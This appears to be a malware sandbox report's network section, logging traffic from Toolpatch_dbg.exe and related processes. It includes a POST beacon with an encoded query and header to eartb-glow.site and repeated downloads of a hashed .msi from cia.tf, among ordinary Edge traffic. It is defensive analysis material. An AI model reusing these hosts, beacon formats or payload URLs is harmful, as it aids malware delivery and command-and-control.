Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 35Host: eartb-glow.site

Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 13.89.179.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.89.179.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.89.179.14
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.10
Source: unknown	TCP traffic detected without corresponding DNS query: 13.89.179.14

Source: global traffic	HTTP traffic detected: GET /521d636a01093f9235cfbf0b2bfd5f69.msi HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: cia.tf
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SSR-extension.33af08fdb9e988f1db9e.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.45sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=47797BF901154D81AC64DCDA0B6989C9.RefC=2025-02-15T16:39:27Z; USRLOC=; MUID=348D4CA072696452184B5934737065A6; MUIDB=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-worker.96ac23719317b1928681.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.45sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=47797BF901154D81AC64DCDA0B6989C9.RefC=2025-02-15T16:39:27Z; USRLOC=; MUID=348D4CA072696452184B5934737065A6; MUIDB=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.f30eb488fb3069c7561f.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.5da1d823f3d7131a6bff.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.a4f044fd68445545fb52.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.a72730bb2b7a5325927d.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /crx/blobs/ASuc5ohfQPNzGo5SSihcSk6msC8CUKw5id-p0KCEkBKwK2LS4AjdrDP0wa1qjzCTaTWEfyM52ADmUAdPETYA5vgD87UPEj6gyG11hjsvMLHGmzQgJ9F5D8s8Lo0Lbai5BQYAxlKa5esPJXukyaicyq83JwZ0HIWqzrjN/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_86_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1739637571971&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=348D4CA072696452184B5934737065A6&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1739637571971&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=47797bf901154d81ac64dcda0b6989c9&activityId=47797bf901154d81ac64dcda0b6989c9&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b2?rn=1739637571971&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=348D4CA072696452184B5934737065A6&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1EC8b548bfcf31d970770da1739637573; XID=1EC8b548bfcf31d970770da1739637573
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 6.45sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 200sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=47797BF901154D81AC64DCDA0B6989C9.RefC=2025-02-15T16:39:27Z; USRLOC=; MUID=348D4CA072696452184B5934737065A6; MUIDB=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=a03eee9c-7215-4d53-bc0c-caff5af0ac96; ai_session=K14OnPDpqZ+xrn93871uiO\|1739637571967\|1739637571967; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=47797BF901154D81AC64DCDA0B6989C9.RefC=2025-02-15T16:39:27Z
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-edge-ntp: {"back_block":0,"bg_cur":{"configIndex":31,"imageId":"BB1msyO7","provider":"CMSImage","userSelected":false},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"myFeed","show_greet":true,"vt_opened":false,"wpo_nx":{"v":"2","wgt":{"src":"default"}}}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=47797BF901154D81AC64DCDA0B6989C9.RefC=2025-02-15T16:39:27Z; USRLOC=; MUID=348D4CA072696452184B5934737065A6; MUIDB=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=a03eee9c-7215-4d53-bc0c-caff5af0ac96; ai_session=K14OnPDpqZ+xrn93871uiO\|1739637571967\|1739637571967; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=47797BF901154D81AC64DCDA0B6989C9.RefC=2025-02-15T16:39:27Z
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1739637571971&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=47797bf901154d81ac64dcda0b6989c9&activityId=47797bf901154d81ac64dcda0b6989c9&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=CF1DC85244FB4ACAA63F6E167F41A953&MUID=348D4CA072696452184B5934737065A6 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1; SM=T; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /521d636a01093f9235cfbf0b2bfd5f69.msi HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: cia.tf

Source: Toolpatch_dbg.exe, 00000009.00000003.1974125101.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: Toolpatch_dbg.exe, 00000009.00000003.2034649372.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052525613.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983061379.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: /h`www.facebook.comF equals www.facebook.com (Facebook)
Source: Toolpatch_dbg.exe, 00000009.00000003.2092591249.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2073180063.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: @www.youtube.com equals www.youtube.com (Youtube)
Source: Toolpatch_dbg.exe, 00000009.00000003.2034649372.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052525613.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983061379.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: Toolpatch_dbg.exe, 00000009.00000003.2034649372.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092591249.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052525613.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: eartb-glow.site
Source: global traffic	DNS traffic detected: DNS query: cia.tf
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: appengine.google.com

Source: unknown

HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0Content-Length: 147Host: eartb-glow.site

Source: TiVoServer.exe, 00000003.00000000.1348948220.0000000000584000.00000008.00000001.01000000.00000008.sdmp, TiVoServer.exe, 00000003.00000003.1367295725.0000000009FE7000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://%s:%d/TiVoConnect?Command=QueryFormats&SourceFormat=video/x-tivo-mpeg-tsTiVoFormats.Format.Co
